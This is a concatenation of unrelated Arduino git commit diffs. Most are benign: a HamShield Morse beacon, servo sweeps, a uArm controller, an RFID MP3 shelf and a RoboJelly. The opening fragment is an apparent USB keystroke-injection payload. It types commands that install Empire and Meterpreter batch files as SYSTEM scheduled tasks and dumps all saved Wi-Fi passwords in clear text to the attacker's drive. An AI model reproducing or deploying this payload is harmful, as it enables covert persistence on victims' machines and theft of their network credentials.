-  Keyboard.println(F("$letter = Get-WmiObject Win32_Volume -Filter \"Label='PEENSY'\" | select -expand driveletter"));
+  Keyboard.println(F("$letter = Get-WmiObject Win32_Volume -Filter \"Label='CHAMELEON'\" | select -expand driveletter"));

   // extract the exe
   Keyboard.println(F("$shell = new-object -com shell.application"));
@@ -315,7 +315,7 @@
     initVictim();

     // startEmpire
-    wincopy_from_sd_card("PE.bat" ,"%WINDIR%\\PE.bat","PEENSY",3,200);
+    wincopy_from_sd_card("PE.bat" ,"%WINDIR%\\PE.bat","CHAMELEON",3,200);
     delay(700);
     Keyboard.println(F(""));
     Keyboard.println(F("schtasks /create /ru SYSTEM /sc HOURLY /MO 12 /tn Diag /tr \"'cmd' /c start '' '%WINDIR%\\PE.bat'\""));
@@ -324,7 +324,7 @@
     delay(300);

     // start meterpreter
-    wincopy_from_sd_card("msf.bat" ,"%WINDIR%\\msf.bat","PEENSY",3,200);
+    wincopy_from_sd_card("msf.bat" ,"%WINDIR%\\msf.bat","CHAMELEON",3,200);
     delay(700);
     Keyboard.println(F(""));
     Keyboard.println(F("schtasks /create /ru SYSTEM /sc HOURLY /MO 12 /tn Maint /tr \"'cmd' /c start '' '%WINDIR%\\msf.bat'\""));
@@ -357,7 +357,7 @@
     delay(700);
     Keyboard.println(F("netsh wlan show profiles | Select-String -Pattern \"All User Profile\" | foreach {$_.ToString()} | foreach {$_.Replace(\"    All User Profile     : \",$null)} | foreach {netsh wlan show profiles name=\"$_\" key=clear} > $env:temp\\$filename"));
     delay(2000);
-    Keyboard.println(F("$letter = Get-WmiObject Win32_Volume -Filter \"Label='PEENSY'\" | select -expand driveletter"));
+    Keyboard.println(F("$letter = Get-WmiObject Win32_Volume -Filter \"Label='CHAMELEON'\" | select -expand driveletter"));
     delay(200);
     Keyboard.println(F("Move-Item \"$env:temp\\$filename\" \"$letter\\$filename\""));
     delay(200);


Slight rearranging, and added comments to FM Beacon example sketch.

--- examples/FMBeacon/FMBeacon.ino
+++ examples/FMBeacon/FMBeacon.ino
@@ -1,44 +1,68 @@
 /*
-
 Morse Code Beacon

 Test beacon will transmit and wait 30 seconds.
 Beacon will check to see if the channel is clear before it will transmit.
-
-
 */

+// Include the HamSheild and Wire (I2C) libraries
 #include <HamShield.h>
 #include <Wire.h>

+// Create a new instance of our HamSheild class, called 'radio'
 HamShield radio;

+// Run our start up things here
 void setup() {
+  // Set up the serial port at 9600 Baud
   Serial.begin(9600);
-  Serial.println("starting up..");
+
+  // Send a quick serial string
+  Serial.println("HamShield FM Beacon Example Sketch");
+
+  // Start the Wire (I2C) library
   Wire.begin();

+  // Query the HamShield for status information
   Serial.print("Radio status: ");
   int result = radio.testConnection();
   Serial.println(result,DEC);
-  radio.initialize();                         // setup radio
-  radio.frequency(446000);                 // set to 70 cm call frequency
-  Serial.println("Done with radio beacon setup.");
+
+  // Tell the HamShield to start up
+  radio.initialize();
+
+  // Configure the HamShield to transmit and recieve on 446.000MHz
+  radio.frequency(446000);
+
+  Serial.println("Radio Configured.");
 }

 void loop() {
-  if(radio.waitForChannel(30000,2000,-50)) {     // wait up to 30 seconds for a clear channel, and then 2 seconds of empty channel
-    Serial.println("Signal is clear -- Transmitting");
-    radio.setModeTransmit();                // turn on the transmitter
-    radio.morseOut("1ZZ9ZZ/B CN87 ARDUINO HAMSHIELD");
-    radio.setModeReceive();                 // turn off the transmitter (receive mode)
-    Serial.print("TX Off");
+  // We'll wait up to 30 seconds for a clear channel, requiring that the channel is clear for 2 seconds before we transmit
+  if (radio.waitForChannel(30000,2000,-50)) {
+    // If we get here, the channel is clear. Let's print the RSSI to the serial port as well.
+    Serial.print("Signal is clear, RSSI: ");
+    Serial.println(radio.readRSSI());
+
+    // Start transmitting by putting the radio into transmit mode.
+    Serial.print("Transmitting... ");
+    radio.setModeTransmit();
+
+    // Send a message out in morse code
+    radio.morseOut("CALLSIGN LOCATOR ARDUINO HAMSHIELD");
+
+    // We're done sending the message, set the radio back into recieve mode.
+    radio.setModeReceive();
+    Serial.println("Done.");
+
+    // Wait 30 seconds before we send our beacon again.
     delay(30000);
-  } else {
+  } else {
+    // If we get here, the channel is busy. Let's also print out the RSSI.
     Serial.print("The channel was busy. Waiting 10 seconds. RSSI: ");
     Serial.println(radio.readRSSI());
+
+    // Wait 10 seconds and check the channel again.
     delay(10000);
   }
-}
-
-
+}


added servo controller with all servo sweep

--- Servos/servo_calibration/servo_calibration.ino
+++ Servos/servo_calibration/servo_calibration.ino
@@ -4,12 +4,36 @@

 /***
 /* servo  0  1  2  3  4  5  6  7  8
-/* weight 12       12       6
+/* weight

 /*5 volts, expect 5.75 for sand */
 /* low and high positions for all 9 arduinos, labeled and corresponding to the array index */
-int servo_low[] = {145, 145, 0, 85, 40, 0, 155, 0, 130};
-int servo_high[] = {180, 180, 0, 115, 70, 0, 180, 0, 170};
+int servo_low[] = {0, 0, 150, 4, 0, 143, 8, 154, 150};
+int servo_high[] = {0, 0, 177, 25, 0, 170, 25, 177, 177};
+
+
+void setup()
+{
+  Serial.begin(9600);
+
+  servo.attach(9);
+  servo.write(8);
+  /*delay(3000);
+  servo.write(10);*/
+  //delay(1000);
+  //servo.write(175);
+
+ //sweep_servo(8);
+
+
+}
+
+
+void loop()
+{
+  sweep_servo(3);
+}
+

 void sweep_servo(int num)
 {
@@ -28,26 +52,3 @@
     delay(20);
   }
 }
-
-void setup()
-{
-  Serial.begin(9600);
-
-  servo.attach(9);
-  servo.write(180);
-  /*delay(1000);
-  servo.write(140);
-  delay(1000);
-  servo.write(175);*/
-
- sweep_servo(6);
-
-
-}
-
-
-
-void loop()
-{
-  sweep_servo(6);
-}


flashified small strings

flashified small strings

--- uArm.ino
+++ uArm.ino
@@ -203,9 +203,9 @@
 		} else {
 			servoMoveError = true;
 			if (*buf == endptr) {
-				msg = String(F("ERROR: missing servo position for servo ")) + String(servoShortName) + String("\n");
-			} else {
-				msg = String(F("ERROR: invalid servo position for servo ")) + String(servoShortName) + String(": ") + String(pos, DEC) + String("\n");
+				msg = String(F("ERROR: missing servo position for servo ")) + String(servoShortName) + String(F("\n"));
+			} else {
+				msg = String(F("ERROR: invalid servo position for servo ")) + String(servoShortName) + String(F(": ")) + String(pos, DEC) + String(F("\n"));
 			}
 			sendMsg(msg);
 			return false;
@@ -214,7 +214,7 @@
 		return true;
 	} else {
 		servoMoveError = true;
-		msg = String(F("ERROR: invalid servo identifier: ")) + String(servoShortName) + String("\n");
+		msg = String(F("ERROR: invalid servo identifier: ")) + String(servoShortName) + String(F("\n"));
 		sendMsg(msg);
 		return false;
 	}
@@ -244,7 +244,7 @@
 				// speed control move
 				speedControl = true;
 			} else {
-				String msg = String(F("ERROR: invalid G command code: ")) + String(code, DEC) + String("\n");
+				String msg = String(F("ERROR: invalid G command code: ")) + String(code, DEC) + String(F("\n"));
 				sendMsg(msg);
 				return false;
 			}
@@ -261,7 +261,7 @@
 					} else if (code == 1) {
 						wait = true;
 					} else {
-						String msg = String(F("ERROR: invalid G command wait flag, bad value: ")) + String(code, DEC) + String("\n");
+						String msg = String(F("ERROR: invalid G command wait flag, bad value: ")) + String(code, DEC) + String(F("\n"));
 						sendMsg(msg);
 						return false;
 					}
@@ -298,7 +298,7 @@
 				sendMsg(F("OK\n"));
 				return true;
 			} else {
-				String msg = String(F("ERROR: invalid F speed parameter: ")) + String(code, DEC) + String("\n");
+				String msg = String(F("ERROR: invalid F speed parameter: ")) + String(code, DEC) + String(F("\n"));
 				sendMsg(msg);
 				return false;
 			}
@@ -315,14 +315,14 @@
 					softwareReset();
 					break;
 				case 101:
-					sendMsg(String(freeRam(), DEC) + String("\n"));
+					sendMsg(String(freeRam(), DEC) + String(F("\n")));
 					break;
 				case 102: {
 					String msg = String(F("L")) + String(servoL.read(), DEC) +
 							String(F(" R")) + String(servoR.read(), DEC) +
 							String(F(" O")) + String(servoRot.read(), DEC) +
 							String(F(" T")) + String(servoHRot.read(), DEC) +
-							String(F(" H")) + String(servoH.read(), DEC) + String("\n");
+							String(F(" H")) + String(servoH.read(), DEC) + String(F("\n"));
 					sendMsg(msg);
 					break; }
 				case 112:
@@ -335,13 +335,13 @@
 					break;

 				default:
-					sendMsg(String(F("ERROR: invalid M address parameter: ")) + String(code, DEC) + String("\n"));
+					sendMsg(String(F("ERROR: invalid M address parameter: ")) + String(code, DEC) + String(F("\n")));
 					return false;
 			};
 			return true;
 			break;
 		default:
-			sendMsg(String(F("ERROR: invalid command: ")) + String(buf[0]) + String("\n"));
+			sendMsg(String(F("ERROR: invalid command: ")) + String(buf[0]) + String(F("\n")));
 			return false;
 	};
 	sendMsg(String(F("ERROR: Unhandled exception in processCommand\n")));


* make it work on NodeMCU* improve webinterface

--- RfidShelf.ino
+++ RfidShelf.ino
@@ -1,24 +1,23 @@
 /**
- * Put this file https://github.com/esp8266/Arduino/blob/master/libraries/ESP8266WebServer/examples/SDWebServer/SdRoot/edit/index.htm
- * in the root folder of the SD card for webinterface
+   Put this file https://github.com/esp8266/Arduino/blob/master/libraries/ESP8266WebServer/examples/SDWebServer/SdRoot/edit/index.htm
+   in the root folder of the SD card for webinterface
 */

 #include <ESP8266WiFi.h>
-#include <WiFiClient.h>
 #include <DNSServer.h>
 #include <ESP8266WebServer.h>
 #include <WiFiManager.h>
 #include <SPI.h>
 #include <MFRC522.h>
 #include <Adafruit_VS1053.h>
-#include <SD.h>
-
-#define RC522_CS_PIN          D0
+#include <SdFat.h>
+
+#define RC522_CS_PIN          D3
 #define SD_CS_PIN             D2

 #define BREAKOUT_RESET  D4     // VS1053 reset pin (output)
 #define BREAKOUT_CS     D8     // VS1053 chip select pin (output)
-#define BREAKOUT_DCS    D3    // VS1053 Data/command select pin (output)
+#define BREAKOUT_DCS    D0    // VS1053 Data/command select pin (output)
 #define DREQ            D1    // VS1053 Data request, ideally an Interrupt pin

 Adafruit_VS1053_FilePlayer musicPlayer =
@@ -32,18 +31,29 @@

 MFRC522::MIFARE_Key key;

+
 // Init array that will store new NUID
 byte nuidPICC[4];

 boolean playing = false;

-File currentFolder;
-
-File uploadFile;
-
+SdFat SD;
+
+SdFile uploadFile;

 void setup() {
   Serial.begin(115200);
+  Serial.println();
+
+  // Init SPI SS pins
+  pinMode(RC522_CS_PIN, OUTPUT);
+  digitalWrite(RC522_CS_PIN, HIGH);
+  pinMode(SD_CS_PIN, OUTPUT);
+  digitalWrite(SD_CS_PIN, HIGH);
+  pinMode(BREAKOUT_CS, OUTPUT);
+  digitalWrite(BREAKOUT_CS, HIGH);
+  pinMode(BREAKOUT_DCS, OUTPUT);
+  digitalWrite(BREAKOUT_DCS, HIGH);

   SPI.begin();        // Init SPI bus
   mfrc522.PCD_Init(); // Init MFRC522 card
@@ -53,33 +63,27 @@
   }

   Serial.print(F("Using rfid key (for A and B):"));
-  dump_byte_array(key.keyByte, MFRC522::MF_KEY_SIZE);
+  print_byte_array(key.keyByte, MFRC522::MF_KEY_SIZE);
   Serial.println();

   //Initialize the SdCard.
-  if (!SD.begin(SD_CS_PIN)) Serial.println(F("SD.begin failed"));
-  if (!(currentFolder = SD.open("/"))) Serial.println(F("sd.chdir"));
-  while (File file = currentFolder.openNextFile())
-  {
-    if(file.isDirectory()){
-      switchFolder(file.name());
-      file.close();
-    }
-  }
-
+  if (!SD.begin(SD_CS_PIN)) SD.initErrorHalt();

   // initialise the music player
   if (! musicPlayer.begin()) { // initialise the music player
     Serial.println(F("Couldn't find VS1053, do you have the right pins defined?"));
-    while(1) delay(500);
+    while (1) delay(500);
   }
   Serial.println(F("VS1053 found"));

-  // Fix for the design fuckup of the cheap LC Technology MP3 shield
-  // see http://www.bajdi.com/lcsoft-vs1053-mp3-module/#comment-33773
+  /* Fix for the design fuckup of the cheap LC Technology MP3 shield
+    see http://www.bajdi.com/lcsoft-vs1053-mp3-module/#comment-33773
+    Doesn't hurt for other shields
+  */
   musicPlayer.sciWrite(VS1053_REG_WRAMADDR, VS1053_GPIO_DDR);
   musicPlayer.sciWrite(VS1053_REG_WRAM, 0x0003);
   musicPlayer.GPIO_digitalWrite(0x0000);
+
   musicPlayer.softReset();

   Serial.print(F("SampleRate "));
@@ -87,17 +91,14 @@

   musicPlayer.setVolume(40, 40);

-  wifiManager.autoConnect("MP3-SHELF", "ikealack");
-
+  wifiManager.autoConnect("MP3-SHELF", "lacklack");
+
   Serial.print("Connected! IP address: ");
   Serial.println(WiFi.localIP());

   server.on("/playMp3", HTTP_GET, handlePlayMp3);
   server.on("/stopMp3", HTTP_GET, handleStopMp3);
-  server.on("/list", HTTP_GET, printDirectory);
-  server.on("/edit", HTTP_DELETE, handleDelete);
-  server.on("/edit", HTTP_PUT, handleCreate);
-  server.on("/edit", HTTP_POST, [](){ returnOK(); }, handleFileUpload);
+  server.on("/", HTTP_POST, handleNotFound, handleFileUpload);
   server.onNotFound(handleNotFound);

   server.begin();
@@ -106,18 +107,19 @@
 }

 void loop() {
-  if (musicPlayer.playingMusic) {
+
+  if (playing && musicPlayer.playingMusic) {
     musicPlayer.feedBuffer();
-  } else if(playing) {
+  } else if (playing) {
     playMp3();
   }

+  handleRfid();
   server.handleClient();
-
 }

 void handleRfid() {
-    // Look for new cards
+  // Look for new cards
   if ( ! mfrc522.PICC_IsNewCardPresent()) {
     return;
   }
@@ -138,7 +140,7 @@

   // Show some details of the PICC (that is: the tag/card)
   Serial.print(F("Card UID:"));
-  dump_byte_array(mfrc522.uid.uidByte, mfrc522.uid.size);
+  print_byte_array(mfrc522.uid.uidByte, mfrc522.uid.size);
   Serial.println();
   Serial.print(F("PICC type: "));
   MFRC522::PICC_Type piccType = mfrc522.PICC_GetType(mfrc522.uid.sak);
@@ -197,7 +199,7 @@
     return false;
   }
   Serial.print(F("Data in block ")); Serial.print(absoluteBlock); Serial.println(F(":"));
-  dump_byte_array(buffer, 16);
+  print_byte_array(buffer, 16);
   Serial.println();
   Serial.println();

@@ -215,10 +217,8 @@
   return true;
 }

-/**
-   Helper routine to dump a byte array as hex values to Serial.
-*/
-void dump_byte_array(byte *buffer, byte bufferSize) {
+
+void print_byte_array(byte *buffer, byte bufferSize) {
   for (byte i = 0; i < bufferSize; i++) {
     Serial.print(buffer[i] < 0x10 ? " 0" : " ");
     Serial.print(buffer[i], HEX);
@@ -226,35 +226,44 @@
 }

 void switchFolder(const char *folder) {
-  // TODO do SD.exists(folder) check here, but it keeps crashing the ESP
   Serial.print(F("Switching folder to "));
   Serial.println(folder);
-  currentFolder.close();
-  currentFolder = SD.open(folder);
+
+  if (!SD.exists(folder)) {
+    Serial.println(F("Folder does not exist"));
+    return;
+  }
+  SD.chdir(folder);
+  SD.vwd()->rewind();
 }

 void stopMp3() {
-    playing = false;
-    musicPlayer.stopPlaying();
+  playing = false;
+  musicPlayer.stopPlaying();
 }

 void playMp3() {
-  while (File file = currentFolder.openNextFile())
+  SdFile file;
+  while (file.openNext(SD.vwd(), O_READ))
   {
-
-    char filename[30] = "";
-    strcat(filename, "/");
-    strcat(filename, currentFolder.name());
-    strcat(filename, "/");
-    strcat(filename, file.name());
+    char filenameChar[100];
+    String filename = "/";
+
+    SD.vwd()->getName(filenameChar, 100);
+    filename += filenameChar;
+
+    filename += "/";
+    file.getName(filenameChar, 100);
+    filename += filenameChar;
+
     file.close();

-    if(!file.isDirectory() && isMP3File(filename)){
+    if (!file.isDir() && isMP3File(filename)) {
       Serial.print(F("Playing "));
       Serial.println(filename);

       playing = true;
-      musicPlayer.startPlayingFile(filename);
+      musicPlayer.startPlayingFile((char *)filename.c_str());
       return;
     } else {
       Serial.print(F("Ignoring "));
@@ -262,61 +271,102 @@
     }
   }
   // Start again
-  currentFolder.rewindDirectory();
-}
-
-bool isMP3File(const char* filename) {
-  int   numChars;
-  char  dotMP3[] = ".MP3";
-
-  if (filename) {
-    numChars = strlen(filename);
-    if (numChars > 4) {
-      byte index = 0;
-      for (byte i = numChars - 4; i < numChars; i++) {
-        if (!(toupper(filename[i]) == dotMP3[index])) {
-          return false;
-        }
-        index++;
-      }
-      return true;
-    }
-  }
-  return false;
+  SD.vwd()->rewind();
+}
+
+bool isMP3File(String filename) {
+  return filename.endsWith(".mp3");
 }

 void returnOK() {
   server.send(200, "text/plain", "");
 }

-void returnFail(String msg) {
-  server.send(500, "text/plain", msg + "\r\n");
-}
-
-bool loadFromSdCard(String path){
+void returnServerError(String msg) {
+  server.send(500, "text/plain", msg);
+}
+
+void renderDirectory(String path) {
+  SdFile dir;
+  dir.open(path.c_str(), O_READ);
+
+  dir.rewind();
+  server.setContentLength(CONTENT_LENGTH_UNKNOWN);
+  server.send(200, "text/html", "");
+  WiFiClient client = server.client();
+
+  server.sendContent(
+    F(""));
+
+  String output;
+  if (path == "/") {
+    output = F("<form><input type=\"text\" name=\"folder\" id=\"folder\"><input type=\"button\" value=\"mkdir\" onclick=\"mkdir()\"></form>");
+    output.replace("{folder}", path);
+    server.sendContent(output);
+  } else {
+    output = F("<form><input type=\"file\" multiple=\"true\" name=\"data\" id=\"fileInput\"><input type=\"button\" value=\"upload\" onclick=\"upload('{folder}')\"></form>");
+    output.replace("{folder}", path);
+    server.sendContent(output);
+    server.sendContent(F("
..
"));
+  }
+
+  SdFile entry;
+  while (entry.openNext(&dir, O_READ)) {
+    char filenameChar[100];
+    entry.getName(filenameChar, 100);
+    // TODO encode special characters
+    String filename = String(filenameChar);
+
+    String output = F("
{icon}{name} ✘");
+    if (entry.isDir()) {
+      //output += F("💾");
+      output.replace("{icon}", F("📂 "));
+      output.replace("{path}", filename + "/");
+    } else {
+      if (isMP3File(filename)) {
+        output.replace("{icon}", F("♫ "));
+      } else {
+        output.replace("{icon}", F(""));
+      }
+      output.replace("{path}", filename);
+    }
+    output += F("
");
+    output.replace("{name}", filename);
+    server.sendContent(output);
+    entry.close();
+  }
+  server.sendContent(F(""));
+  server.client().stop();
+}
+
+bool loadFromSdCard(String path) {
   String dataType = "text/plain";
-  if(path.endsWith("/")) path += "index.htm";
-
-  if(path.endsWith(".htm")) dataType = "text/html";
-  else if(path.endsWith(".css")) dataType = "text/css";
-  else if(path.endsWith(".js")) dataType = "application/javascript";
+
+  if (path.endsWith(".HTM")) dataType = "text/html";
+  else if (path.endsWith(".CSS")) dataType = "text/css";
+  else if (path.endsWith(".JS")) dataType = "application/javascript";
+  else dataType = "application/octet-stream";

   File dataFile = SD.open(path.c_str());
-  if(dataFile.isDirectory()){
-    path += "/index.htm";
-    dataType = "text/html";
-    dataFile = SD.open(path.c_str());
-  }
-
-  if (!dataFile)
+
+  if (!dataFile) {
+    Serial.println("File not open");
     return false;
-
-  if (server.hasArg("download")) dataType = "application/octet-stream";
-
-  if (server.streamFile(dataFile, dataType) != dataFile.size()) {
-    Serial.println("Sent less data than expected!");
-  }
-
+  }
+
+  if (dataFile.isDir()) {
+    // dataFile.name() will always be "/" for directorys, so we cannot know if we are in the root directory without handing it over
+    renderDirectory(path);
+  } else {
+    if (server.streamFile(dataFile, dataType) != dataFile.size()) {
+      Serial.println("Sent less data than expected!");
+    }
+  }
   dataFile.close();
   return true;
 }
@@ -330,131 +380,85 @@
   stopMp3();
   returnOK();
 }
-void handleFileUpload(){
-  if(server.uri() != "/edit") return;
+void handleFileUpload() {
+  // Upload always happens on /
+  if (server.uri() != "/") {
+    Serial.println(F("Invalid upload URI"));
+    return;
+  }
+
   HTTPUpload& upload = server.upload();
-  if(upload.status == UPLOAD_FILE_START){
-    if(SD.exists((char *)upload.filename.c_str())) SD.remove((char *)upload.filename.c_str());
-    uploadFile = SD.open(upload.filename.c_str(), FILE_WRITE);
-    Serial.print("Upload: START, filename: "); Serial.println(upload.filename);
-  } else if(upload.status == UPLOAD_FILE_WRITE){
-    if(uploadFile) uploadFile.write(upload.buf, upload.currentSize);
-    Serial.print("Upload: WRITE, Bytes: "); Serial.println(upload.currentSize);
-  } else if(upload.status == UPLOAD_FILE_END){
-    if(uploadFile) uploadFile.close();
-    Serial.print("Upload: END, Size: "); Serial.println(upload.totalSize);
-  }
-}
-
-void deleteRecursive(String path){
-  File file = SD.open((char *)path.c_str());
-  if(!file.isDirectory()){
-    file.close();
-    SD.remove((char *)path.c_str());
-    return;
-  }
-
-  file.rewindDirectory();
-  while(true) {
-    File entry = file.openNextFile();
-    if (!entry) break;
-    String entryPath = path + "/" +entry.name();
-    if(entry.isDirectory()){
-      entry.close();
-      deleteRecursive(entryPath);
+
+  if (upload.status == UPLOAD_FILE_START) {
+    String filename = upload.filename;
+
+    if (!isMP3File(filename)) {
+      Serial.print(F("Not a MP3: "));
+      Serial.println(filename);
+      return;
+    }
+
+    if (!filename.startsWith("/")) {
+      Serial.println(F("Invalid upload target"));
+      return;
+    }
+
+    if (SD.exists((char *)filename.c_str())) {
+      Serial.println("File " + filename + " already exists. Skipping");
+      return;
+    }
+
+    uploadFile.open((char *)filename.c_str(), FILE_WRITE);
+    Serial.print(F("UPLOAD_FILE_START: "));
+    Serial.println(filename);
+  } else if (upload.status == UPLOAD_FILE_WRITE) {
+    if (uploadFile.isOpen()) {
+      uploadFile.write(upload.buf, upload.currentSize);
+      Serial.print(F("UPLOAD_FILE_WRITE: "));
+      Serial.println(upload.currentSize);
+    }
+  } else if (upload.status == UPLOAD_FILE_END) {
+    if (uploadFile.isOpen()) {
+      uploadFile.close();
+      Serial.print(F("UPLOAD_FILE_END: "));
+      Serial.println(upload.totalSize);
+    }
+  }
+}
+
+void handleNotFound() {
+  String path = server.urlDecode(server.uri());
+  if (server.method() == HTTP_GET) {
+    if (loadFromSdCard(path)) return;
+  } else if (server.method() == HTTP_DELETE) {
+    if (server.uri() == "/" || !SD.exists((char *)path.c_str())) {
+      returnServerError("BAD PATH: " + server.uri());
+      return;
+    }
+
+    SdFile file;
+    file.open(path.c_str());
+    if (file.isDir()) {
+      file.rmRfStar();
     } else {
-      entry.close();
-      SD.remove((char *)entryPath.c_str());
-    }
-    yield();
-  }
-
-  SD.rmdir((char *)path.c_str());
-  file.close();
-}
-
-void handleDelete(){
-  if(server.args() == 0) return returnFail("BAD ARGS");
-  String path = server.arg(0);
-  if(path == "/" || !SD.exists((char *)path.c_str())) {
-    returnFail("BAD PATH");
-    return;
-  }
-  deleteRecursive(path);
-  returnOK();
-}
-
-void handleCreate(){
-  if(server.args() == 0) return returnFail("BAD ARGS");
-  String path = server.arg(0);
-  if(path == "/" || SD.exists((char *)path.c_str())) {
-    returnFail("BAD PATH");
-    return;
-  }
-
-  if(path.indexOf('.') > 0){
-    File file = SD.open((char *)path.c_str(), FILE_WRITE);
-    if(file){
-      file.write((const char *)0);
-      file.close();
-    }
-  } else {
-    SD.mkdir((char *)path.c_str());
-  }
-  returnOK();
-}
-
-void printDirectory() {
-  if(!server.hasArg("dir")) return returnFail("BAD ARGS");
-  String path = server.arg("dir");
-  if(path != "/" && !SD.exists((char *)path.c_str())) return returnFail("BAD PATH");
-  File dir = SD.open((char *)path.c_str());
-  path = String();
-  if(!dir.isDirectory()){
-    dir.close();
-    return returnFail("NOT DIR");
-  }
-  dir.rewindDirectory();
-  server.setContentLength(CONTENT_LENGTH_UNKNOWN);
-  server.send(200, "text/json", "");
-  WiFiClient client = server.client();
-
-  server.sendContent("[");
-  for (int cnt = 0; true; ++cnt) {
-    File entry = dir.openNextFile();
-    if (!entry)
-    break;
-
-    String output;
-    if (cnt > 0)
-      output = ',';
-
-    output += "{\"type\":\"";
-    output += (entry.isDirectory()) ? "dir" : "file";
-    output += "\",\"name\":\"";
-    output += entry.name();
-    output += "\"";
-    output += "}";
-    server.sendContent(output);
-    entry.close();
- }
- server.sendContent("]");
- dir.close();
-}
-
-void handleNotFound(){
-  if(loadFromSdCard(server.uri())) return;
-  String message = "SDCARD Not Detected\n\n";
-  message += "URI: ";
-  message += server.uri();
-  message += "\nMethod: ";
-  message += (server.method() == HTTP_GET)?"GET":"POST";
-  message += "\nArguments: ";
-  message += server.args();
-  message += "\n";
-  for (uint8_t i=0; i<server.args(); i++){
-    message += " NAME:"+server.argName(i) + "\n VALUE:" + server.arg(i) + "\n";
-  }
-  server.send(404, "text/plain", message);
-  Serial.print(message);
-}
+      file.remove();
+    }
+    returnOK();
+    return;
+  } else if (server.method() == HTTP_POST) {
+    if (server.hasArg("folder")) {
+      Serial.println(F("Creating folder"));
+      SD.mkdir((char *)server.arg("folder").c_str());
+      returnOK();
+      return;
+    } else if ((server.uri() == "/") || SD.exists((char *)path.c_str())) {
+      Serial.println(F("Probably got an upload request"));
+      returnOK();
+      return;
+    }
+    // 404 otherwise
+  }
+
+  server.send(404, "text/plain", F("Not found"));
+  Serial.println("404: " + path);
+}


Updated to use microswitch on pin 2.

Updated to use microswitch on pin 2.

--- RoboJelly.ino
+++ RoboJelly.ino
@@ -5,10 +5,9 @@
 #include "ArmLights.h"
 #include <QueueList.h>

-const byte SWIM_STOP_SWITCH_PIN = 2;

 QueueList<byte> queue;
-SwimServo swimServo = SwimServo(5, 50);
+SwimServo swimServo = SwimServo(9, 50);
 BodyLights bodyLights = BodyLights(3);
 ArmLights armLights = ArmLights(11, 10, 9);

@@ -23,7 +22,7 @@
 	Serial.begin(9600);
 	Serial.println("Initializing");

-	//attachInterrupt(0, swimSwitch, CHANGE);
+	attachInterrupt(0, swimSwitch, RISING);

 	randomSeed(1091237234);
 	bodyLights.setTimeDelay(50);
@@ -97,8 +96,9 @@
 }

 void swimSwitch() {
+	Serial.println(button_time - last_button_time);
 	button_time = millis();
-	//check to see if increment() was called in the last 250 milliseconds
+	//check to see if swimSwitch() was called in the last 250 milliseconds
 	if (button_time - last_button_time > 1000)
 	{
 		Serial.println("running");


non test prototype

non test prototype

--- uArm.ino
+++ uArm.ino
@@ -1,3 +1,5 @@
+#include <avr/wdt.h>
+
 #include <7segment.h>
 #include <font5x7.h>
 #include <font8x16.h>
@@ -20,62 +22,325 @@
 const int servoPinH = A0;
 const int slowSweepSpeed = 20;
 VarSpeedServo servoL, servoR, servoRot, servoHRot, servoH;
+const int defaultServoPos = 90;
+int servoSpeed = slowSweepSpeed;
+
+void moveServo(VarSpeedServo &servo, MicroViewWidget *widget, uint8_t degrees, uint8_t servoSpeed, bool wait, bool updateDisplay) {
+	if (degrees >= 0 && degrees <= 180) {
+		servo.write(degrees, servoSpeed, wait);
+		widget->setValue(degrees);
+		if (updateDisplay)
+			uView.display();
+	}
+}
+
+#define	moveServoL(degrees, servoSpeed, wait, updateDisplay)	moveServo(servoL, widgetL, degrees, servoSpeed, wait, updateDisplay)
+#define	moveServoR(degrees, servoSpeed, wait, updateDisplay)	moveServo(servoR, widgetR, degrees, servoSpeed, wait, updateDisplay)
+#define	moveServoRot(degrees, servoSpeed, wait, updateDisplay)	moveServo(servoRot, widgetRot, degrees, servoSpeed, wait, updateDisplay)
+#define	moveServoHRot(degrees, servoSpeed, wait, updateDisplay)	moveServo(servoHRot, widgetHRot, degrees, servoSpeed, wait, updateDisplay)
+#define	moveServoH(degrees, servoSpeed, wait, updateDisplay)	moveServo(servoH, widgetH, degrees, servoSpeed, wait, updateDisplay)
+
+// helper functions
+void softwareReset(void) {
+	wdt_enable(WDTO_15MS);
+	for(;;);
+}
+
+int freeRam(void) {
+	extern int __heap_start, *__brkval;
+	int v;
+	return (int) &v - (__brkval == 0 ? (int) &__heap_start : (int) __brkval);
+}
+
+// setup functions
+void setupMicroView(void) {
+	// setup MicroView
+	uView.begin();
+	uView.clear(PAGE);
+	uView.display();
+
+	widgetL = new MicroViewSlider(0, 0, 0, 180);
+	widgetR = new MicroViewSlider(0, 10, 0, 180);
+	widgetRot = new MicroViewSlider(0, 20, 0, 180);
+	widgetHRot = new MicroViewSlider(0, 30, 0, 180);
+	widgetH = new MicroViewSlider(0, 40, 0, 180);
+}
+
+void attachServos(void) {
+	// setup servos
+	servoL.attach(servoPinL);
+	servoR.attach(servoPinR);
+	servoRot.attach(servoPinRot);
+	servoHRot.attach(servoPinHRot);
+	servoH.attach(servoPinH);
+}
+
+void detachServos(void) {
+	servoL.detach();
+	servoR.detach();
+	servoRot.detach();
+	servoHRot.detach();
+	servoH.detach();
+}

 void setup() {
-  uView.begin();
-  uView.clear(PAGE);
-  uView.display();
-
-  uView.begin();
-  widgetL = new MicroViewSlider(0, 0, 0, 180);
-  widgetR = new MicroViewSlider(0, 10, 0, 180);
-  widgetRot = new MicroViewSlider(0, 20, 0, 180);
-  widgetHRot = new MicroViewSlider(0, 30, 0, 180);
-  widgetH = new MicroViewSlider(0, 40, 0, 180);
-
-  widgetL->setValue(90);
-  widgetR->setValue(90);
-  widgetRot->setValue(90);
-  widgetHRot->setValue(90);
-  widgetH->setValue(90);
-
-  servoL.attach(servoPinL);
-  servoR.attach(servoPinR);
-  servoRot.attach(servoPinRot);
-  servoHRot.attach(servoPinHRot);
-  servoH.attach(servoPinH);
-
-  servoL.write(90, slowSweepSpeed, false);
-  servoR.write(90, slowSweepSpeed, false);
-  servoRot.write(90, slowSweepSpeed, false);
-  servoHRot.write(90, slowSweepSpeed, false);
-  servoH.write(90, slowSweepSpeed, true);
-
-  uView.display();
-}
-
-uint8_t state = 180;
-
-void loop()
-{
-  if (state == 180) {
-    state = 0;
-  } else {
-    state = 180;
-  }
-
-  uView.begin();
-  servoL.write(state,slowSweepSpeed,false);
-  widgetL->setValue(state);
-  servoR.write(state,slowSweepSpeed,false);
-  widgetR->setValue(state);
-  servoRot.write(state,slowSweepSpeed,false);
-  widgetRot->setValue(state);
-  servoHRot.write(state,slowSweepSpeed,false);
-  widgetHRot->setValue(state);
-  widgetH->setValue(state);
-  uView.display();
-  servoH.write(state,slowSweepSpeed,true);
-}
-
-
+	// setup serial port
+	Serial.begin(9600);
+
+	// setup MicroView
+	setupMicroView();
+
+	// setup servos
+	attachServos();
+
+	// place servo in positions
